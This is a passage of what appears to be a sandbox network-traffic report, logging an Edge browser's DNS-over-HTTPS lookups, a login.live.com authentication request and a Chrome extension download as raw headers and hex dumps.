00 00 00 00 00 Data Ascii: wwwgstaticcom#)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.10	49763	162.159.61.3	443	7852	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-22 16:08:55 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-22 16:08:55 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-22 16:08:55 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Fri, 22 Nov 2024 16:08:55 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e6a2e522f710f90-EWR alt-svc: h3=":443"; ma=86400
2024-11-22 16:08:55 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 0b 00 04 8e fa 41 c3 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcomA)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.10	49755	20.190.147.11	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 16:08:55 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4775 Host: login.live.com
2024-11-22 16:08:55 UTC	4775	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-22 16:08:55 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Fri, 22 Nov 2024 16:07:55 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C512_BAY x-ms-request-id: 721dbd4a-df4f-4238-a29b-51d0098efc33 PPServer: PPV: 30 H: PH1PEPF0001203B V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Fri, 22 Nov 2024 16:08:54 GMT Connection: close Content-Length: 11409
2024-11-22 16:08:55 UTC	11409	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.10	49765	162.159.61.3	443	7852	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-22 16:08:55 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-22 16:08:55 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-22 16:08:55 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Fri, 22 Nov 2024 16:08:55 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e6a2e532a2541d3-EWR alt-svc: h3=":443"; ma=86400
2024-11-22 16:08:55 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 16 00 04 8e fb 20 63 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom c)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.10	49766	162.159.61.3	443	7852	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-22 16:08:55 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-22 16:08:55 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-22 16:08:55 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Fri, 22 Nov 2024 16:08:55 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e6a2e5359cb5e7c-EWR alt-svc: h3=":443"; ma=86400
2024-11-22 16:08:55 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 19 00 04 8e fb 28 a3 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom()

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.10	49769	162.159.61.3	443	7852	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-22 16:08:55 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-22 16:08:55 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-22 16:08:55 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Fri, 22 Nov 2024 16:08:55 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e6a2e53a93f1a03-EWR alt-svc: h3=":443"; ma=86400
2024-11-22 16:08:55 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 00 4d 00 04 8e fb 28 a3 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcomM()

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.10	49758	172.217.19.225	443	7852	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-22 16:08:55 UTC	594	OUT	GET /crx/blobs/AW50ZFsLPhJJyx_4ShcDOgcEpJeOc7Vr0kMzfFRoaMfWx4pAgZ0UGF2i9_ei1A7FAHQ-EPFULeBn7F8_SEKhjbpEyKfiidX7GF_6BDOycMeg5w03wjwVQ61hkaEix8WFqmEAxlKa5cmz_tdFr9JtRwdqRu82wmLe2Ghe/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_84_1_0.crx HTTP/1.1 Host: clients2.googleusercontent.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-22 16:08:56 UTC	566	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Content-Length: 138356 X-GUploader-UploadID: AFiumC58AP8cgy8QCSMfjlA1phiguxydtiLgrGzyfe-eWYeYAybEI-ZVJvb7JRg57XNhsGcHgCo X-Goog-Hash: crc32c=ld9IFg== Server: UploadServer Date: Thu, 21 Nov 2024 16:45:00 GMT Expires: Fri, 21 Nov 2025 16:45:00 GMT Cache-Control: public, max-age=31536000 Age: 84236 Last-Modified: Tue, 19 Nov 2024 16:44:49 GMT ETag: 2373c8b9_cba0b209_e851cacf_d4df989e_81c52a41 Content-Type: application/x-chrome-extension Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-11-22 16:08:56 UTC	824	IN	Data Raw: 43 72 32 34 03 00 00 00 e0 15 00 00 12 ac 04 0a a6 02 30 82 01 22 30 0d 06 09 2a 86 48 86 f7 0d 01 01 01 05 00 03 82 01 0f 00 30 82 01 0a 02 82 01 01 00 9c 5e d1 18 b0 31 22 89 f4 fd 77 8d 67 83 0b 74 fd c3 32 4a 0e 47 31 00 29 58 34 b1 bf 3d 26 90 3f 5b 6a 2c 4c 7a fd d5 6a b0 75 cf 65 5b 49 85 71 2a 42 61 2f 58 dd ee dc 50 c1 68 fc cd 84 4c 04 88 b9 99 dc 32 25 33 5f 6f f4 ae b5 ad 19 0d d4 b8 48 f7 29 27 b9 3d d6 95 65 f8 ac c8 9c 3f 15 e6 ef 1f 08 ab 11 6a e1 a9 c8 33 55 48 fd 7c bf 58 8c 4d 06 e3 97 75 cc c2 9c 73 5b a6 2a f2 ea 3f 24 f3 9c db 8a 05 9f 46 25 11 1d 18 b4 49 08 19 94 80 29 08 f2 2c 2d c0 2f 90 65 35 29 a6 66 83 e7 4f e4 b2 71 14 5e ff 90 92 01 8d d3 bf ca a0 d0 39 a0 08 28 e3 d2 5f d5 70 68 32 fe 10 5e d5 59 42 50 58 66 5f 38 cc 0b 08 Data Ascii: Cr240"0H0^1"wgt2JG1)X4=&?[j,Lzjue[IqBa/XPhL2%3_oH)'=e?j3UH\|XMus[*?$F%I),-/e5)fOq^9(_ph2^YBPXf_8
2024-11-22 16:08:56 UTC	1390	IN	Data Raw: 3a 5f 86 5f 7f f9 35 7d d5 75 53 5c 9b ff 18 eb af ff 78 3f ab fa d7 9f 7e 5d cf 1f 43 2d ff b3 ba 0c 53 3d 4c bf fe f2 f7 5f 63 f1 50 97 42 ea cf d7 8f b0 2d 4d db 10 dc 36 32 b3 69 2a b3 51 d5 e3 f8 c4 ad eb 39 ef e7 ef dc 9c de 2b 53 3d 89 f4 f8 84 0e 2f 36 3a df cf c2 57 83 c8 90 71 6c 2f 67 fd f9 26 6a a9 79 fc f9 7b af ae 22 8b ce b1 9a fe 7c 1c dc 46 fa 1f e7 f8 7c 9c a3 f6 e3 56 f9 f6 f0 f3 99 aa 77 be 25 74 2e 79 86 2e 3f df 17 26 e2 e2 61 cc 9c 7f 3c d2 6e c2 88 c1 89 f6 53 2b 7c d4 17 3d 05 72 61 c7 0a 84 08 01 b1 27 7d f8 28 82 70 57 fb c2 16 8f d0 39 05 d7 73 e5 43 a3 d8 1f 9f 8e ca b9 96 26 6a 4a 9f 2d 27 13 f6 27 13 a8 ca 42 8d 30 f5 75 3f 2e a5 b9 3b 9f f6 e1 a3 34 9d 7f cf f3 e7 d9 c2 b9 f0 d4 c0 ac e6 90 42 86 4e 5c 7c a7 3d 83 9c c3 33 Data Ascii: :__5}uS\x?~]C-S=L_cPB-M62i*Q9+S=/6:Wql/g&jy{"\|F\|Vw%t.y.?&a<nS+\|=ra'}(pW9sC&jJ-''B0u?.;4BN\\|=3
2024-11-22 16:08:56 UTC	1390	IN	Data Raw: 60 65 eb 98 45 ab ec b5 f7 df 38 3e ce 17 36 8b 4c d7 7b 85 4d 64 18 16 65 b0 90 1e f2 cb 03 4c 8a 00 e1 48 79 96 ec 9b 3d f6 a0 d6 80 10 57 0f 10 60 43 7e af 8e 3f 1c b7 7a ee 1d 59 c2 29 1a 94 12 c6 ec 9e 28 ba 47 74 ea a9 92 fb f2 20 bd f4 20 c3 8a 8a 04 03 ec 56 83 d6 68 aa f5 88 d1 39 0a d6 d7 be fa 7f 68 70 d5 e2 31 37 1a 25 03 f1 55 98 2a 4b bd 68 22 81 eb 25 ad 18 84 19 e6 b8 d7 a1 60 b9 67 e1 89 9c f6 e2 ad 52 d0 c5 a6 dc ad e7 9e dc ca 7f d2 3e 77 87 7d e1 a1 a5 e9 a4 17 9a 04 c0 1e 05 42 14 c6 78 22 8b d6 00 1f f3 28 78 31 13 f3 7e 67 01 4e 72 8a 0f 75 ff 71 5f e5 6f 6d cd bd d1 43 0a 76 99 35 be 4a e5 2d 31 6c 3a 02 10 c5 56 13 ea 1e 23 15 1d 58 74 af 43 75 3d f0 13 03 bc 22 a2 fc ca 82 66 b9 ee fd 2e c5 46 f6 b8 53 d7 bc 55 5e 3d b8 46 34 c8 Data Ascii: `eE8>6L{MdeLHy=W`C~?zY)(Gt Vh9hp17%U*Kh"%`gR>w}Bx"(x1~gNruq_omCv5J-1l:V#XtCu="f.FSU^=F4
2024-11-22 16:08:56 UTC	1390	IN	Data Raw: 7d dd cf 6f 71 6a 3c aa 40 7e 15 06 ce 18 81 87 14 8e b0 58 44 27 7a dd 77 ac b1 b7 dc 66 ab cf 89 e9 ce a6 3c ec 05 3f 02 02 d8 27 ea 46 4f 70 bb e1 2d 44 84 4e 09 f6 ed 1b e9 1b c5 3d 68 a6 0c d9 75 0f 3f b1 8e cd 35 f6 95 bf 91 bd 1a 69 d1 42 51 b5 ee b9 e2 ce 89 50 6c 26 16 de 89 5e bc e6 c4 fd 26 da f5 e3 ce 69 10 77 1e cc c8 01 e9 9e 41 6a 55 a0 38 bc ac b1 bf 6b be 7b ba 51 77 aa c0 9b 05 fc b0 44 37 6a e6 e1 c0 0e 78 4a 7b 14 13 4f eb 10 ed ee 3f fb 8d c4 1f af b9 25 7e f2 af cb 87 f0 11 f9 c7 c7 ff c1 df c8 80 4b b7 c6 3f 03 ce 51 66 ae c1 bd e9 35 31 9c a0 54 88 27 0b eb 52 98 2c 14 76 36 e7 d3 53 74 70 f3 94 48 50 51 74 c1 6a 6c c5 02 57 75 bf ea 37 d6 5c 85 75 ff 1a de 92 f6 c3 8e 3c db 2b f4 fc 0a bf 49 4b a8 ce 14 7e 00 ce c6 ac 26 ca 94 9e Data Ascii: }oqj<@~XD'zwf<?'FOp-DN=hu?5iBQPl&^&iwAjU8k{QwD7jxJ{O?%~K?Qf51T'R,v6StpHPQtjlWu7\u<+IK~&
2024-11-22 16:08:56 UTC	1390	IN	Data Raw: ae e7 0e 9d 1f 06 63 15 24 ff cb b8 61 7b a2 4e 58 74 c0 4c 09 86 ba 97 48 e8 03 c4 a9 0f ee 35 65 bd 60 e1 21 a1 18 44 a6 bd 68 e1 33 23 9a dc 91 a1 d2 1c 38 bf d3 98 ca 64 0f d9 ab 56 8f 6d 95 56 f8 a5 e3 ec 3d ef d5 2d b3 5c 3d e6 ff 3a fe 0d 19 c0 60 d4 b8 23 8f b9 88 da a3 ee df 88 f6 ec a7 9c 21 9f 2e 21 cc 81 f2 75 fd ed 12 f6 f3 fe 52 6a 9f db f0 a2 fb e9 a7 81 d4 f7 eb f5 58 53 9e 25 3f f7 32 7e 98 ff 3b 96 ae c7 fe 9f e7 2d df ff f0 9c e5 bf be 3b 4a 9f 4d 99 a9 ba 7f 9d 95 6c 74 8c da b7 42 c7 85 e0 d3 bd e4 8e ca 4d fb 56 f6 ea 5a f6 b6 f6 9f f3 77 e9 37 5f 85 df 9d ff fb bb 96 8e e7 01 8d 3f b9 f3 73 16 f3 d4 7e 18 a7 d6 fb f9 ff 5d c7 97 a1 e3 ee bb 84 8e a9 59 2c 05 d7 fa d6 5e e6 f7 e4 df 87 46 8b e9 f6 55 5f 7f fd e5 af 7f ff d5 d4 85 ac Data Ascii: c$a{NXtLH5e`!Dh3#8dVmV=-\=:`#!.!uRjXS%?2~;-;JMltBMVZw7_?s~]Y,^FU_
2024-11-22 16:08:56 UTC	1390	IN	Data Raw: c2 43 a0 f0 9c cf 84 2c dc 6f 77 dd ff 5e 04 27 23 01 db 3b d0 22 fa fd ca c2 00 94 91 17 e4 5e bb e4 28 b3 f2 09 87 4b 75 14 8e e0 c2 6f 3a 13 0a 28 96 4a ee 0a 6a 2c 09 f3 2c c2 e9 23 6a 8c ec 09 a0 e8 96 87 84 d2 68 a5 cd ca f5 ec 0a 46 60 f9 be 7b e8 5e a6 f5 2e a5 46 6e c8 a6 db bc 01 50 4b 07 08 1d fb 12 3a a0 00 00 00 23 01 00 00 50 4b 03 04 14 00 08 08 08 00 00 00 21 00 00 00 00 00 00 00 00 00 00 00 00 00 19 00 2d 00 5f 6c 6f 63 61 6c 65 73 2f 72 6f 2f 6d 65 73 73 61 67 65 73 2e 6a 73 6f 6e 55 54 05 00 01 ca 36 2a 67 0a 00 20 00 00 00 00 00 01 00 18 00 00 41 64 ae 95 2f db 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 8d 52 c1 4e 1c 31 0c bd f3 15 d6 9c 8a 34 a0 65 7b 82 1b 82 55 4f 85 aa 2d 97 aa 17 6f c6 b3 58 ca 38 51 e2 00 5a c4 bf e3 99 Data Ascii: C,ow^'#;"^(Kuo:(Jj,,#jhF`{^.FnPK:#PK!-_locales/ro/messages.jsonUT6*g Ad/RN14e{UO-oX8QZ
2024-11-22 16:08:56 UTC	1390	IN	Data Raw: 0f 6e 3d 2c 91 9f b7 f2 c2 8f 9e 81 ed 64 91 89 5f c8 93 db ec d7 38 3e f4 ec 97 19 5a 11 ad f3 b8 82 28 3a 6c b3 ee 24 e1 50 fb 79 09 cf f1 ad 57 e9 76 70 aa 85 35 32 aa 0a 0f 41 0d 1c 63 cf 15 51 0d 8c 44 97 9c 43 b8 94 04 8f 60 5f 09 e2 4b c0 6e a2 3a 29 12 e1 86 4f 49 97 b9 92 11 e2 5a d6 16 fc 60 20 03 a5 d7 f5 68 06 5f 65 93 9a dd ad 65 97 51 8b ac 05 b4 69 a5 64 30 17 f8 1c 4a 1d 10 6c a0 02 36 20 1b 29 c2 cd 6a e6 f5 e9 55 66 60 81 a8 0e 0c 0c 22 4a e0 41 05 8c 7f 9c 57 46 cf 54 ff 32 7c 7d 9b 6e 4b 1e be a1 2b 8b 2c ea 96 fa 5c 18 5d 04 b1 51 7c 89 a2 45 6d 3a 0b 61 c3 6f a2 78 04 e6 19 c0 10 c1 b2 2f e8 63 ec 0d 6c f9 20 a0 26 d6 8b ea b0 75 64 be 5d fd c4 70 d9 3b b5 ed d4 f1 bc 8d 4d 4a b4 8e 05 bc 1a 18 57 05 34 4d 40 13 b4 28 e5 ea ff 64 31 Data Ascii: n=,d_8>Z(:l$PyWvp52AcQDC`_Kn:)OIZ` h_eeQid0Jl6 )jUf`"JAWFT2\|}nK+,\]Q\|Em:aox/cl &ud]p;MJW4M@(d1
2024-11-22 16:08:56 UTC	1390	IN	Data Raw: 80 ac 82 c5 04 63 89 63 38 bd 2a 36 1c e9 9a 44 2a 3c 4e 2d ee 92 46 8e 50 dc e3 94 bb f5 61 c2 1d cf 5c 48 24 42 49 6c 12 12 d7 49 d9 ae b5 78 32 3e ee bd 6d 14 36 10 04 42 78 75 49 e8 56 12 9a c0 f8 4e 5b 9e a8 18 48 07 60 fa c4 f3 b8 1c e9 66 42 8d 56 0a 4d 3a 20 57 32 60 3d 87 5b 12 2d 22 e5 44 56 25 e1 21 a6 58 0d e8 46 f5 04 83 06 0e 87 28 fb a4 f0 19 18 b8 02 88 01 7c 80 61 ef 0c 9c e0 24 d3 07 48 c9 09 3f e2 9c 5e e9 89 97 4b 26 3f f6 66 0d 22 cf 03 86 52 31 81 e4 3a 97 fa 54 dc fb b0 49 d9 ef a1 7d 1a 46 e5 77 f4 02 a7 fd a6 7b 35 4f fa 61 2c 0d 6e 07 7a 72 4d 94 18 5d f3 fe 4e 2c 30 9b 6d f6 54 60 d0 58 d4 81 d8 05 43 89 9b 2d 91 75 b1 84 72 e5 82 16 5a a8 d1 8f 71 28 22 a2 ed 69 03 7e 0f 3a 87 3c 26 69 4c 4d 0a 36 d7 c7 a7 16 96 fa 98 fd 47 dc Data Ascii: cc86D<N-FPa\H$BIlIx2>m6BxuIVN[H`fBVM: W2`=[-"DV%!XF(\|a$H?^K&?f"R1:TI}Fw{5Oa,nzrM]N,0mT`XC-urZq("i~:<&iLM6G
2024-11-22 16:08:56 UTC	1390	IN	Data Raw: 92 6f 30 19 61 42 16 3c c5 8e d8 b3 84 2e 10 d8 71 39 f8 5c 22 7b 60 27 ee 3a 3f 1a 26 6a f5 a8 f2 1f 13 ad 85 fc dd 51 24 58 d5 3c 25 19 9d fa 2b 81 d6 c7 4d 37 fd 9a e2 f2 53 ad 5f c1 c9 b9 41 f8 0f 77 84 84 39 d5 5c 7f 74 b0 dd bb 43 ac e6 be ce d5 bf df bb 77 82 1b a6 ff 9c 05 67 3a 77 fe 7a f2 5d 9a 09 4d 66 b5 8d f8 e6 d8 2d cb 4e 6d ee a3 82 48 7b c6 a8 5d b2 e8 52 97 3d e5 a5 b8 ef 36 ad cf 46 de f8 e7 8e 98 46 5f 0f 08 b5 d5 be 41 c5 77 eb e3 54 28 7a 31 07 87 c9 e3 1b f0 13 22 9f 73 e2 40 ce 5e e0 09 2d 54 01 dc 63 06 df 9b 0e c1 43 bf 5c bc 02 50 4b 07 08 c0 47 8a 9f 88 01 00 00 46 03 00 00 50 4b 03 04 14 00 08 08 08 00 00 00 21 00 00 00 00 00 00 00 00 00 00 00 00 00 19 00 2d 00 5f 6c 6f 63 61 6c 65 73 2f 6b 6d 2f 6d 65 73 73 61 67 65 73 2e 6a Data Ascii: o0aB<.q9\"{`':?&jQ$X<%+M7S_Aw9\tCwg:wz]Mf-NmH{]R=6FF_AwT(z1"s@^-TcC\PKGFPK!-_locales/km/messages.j
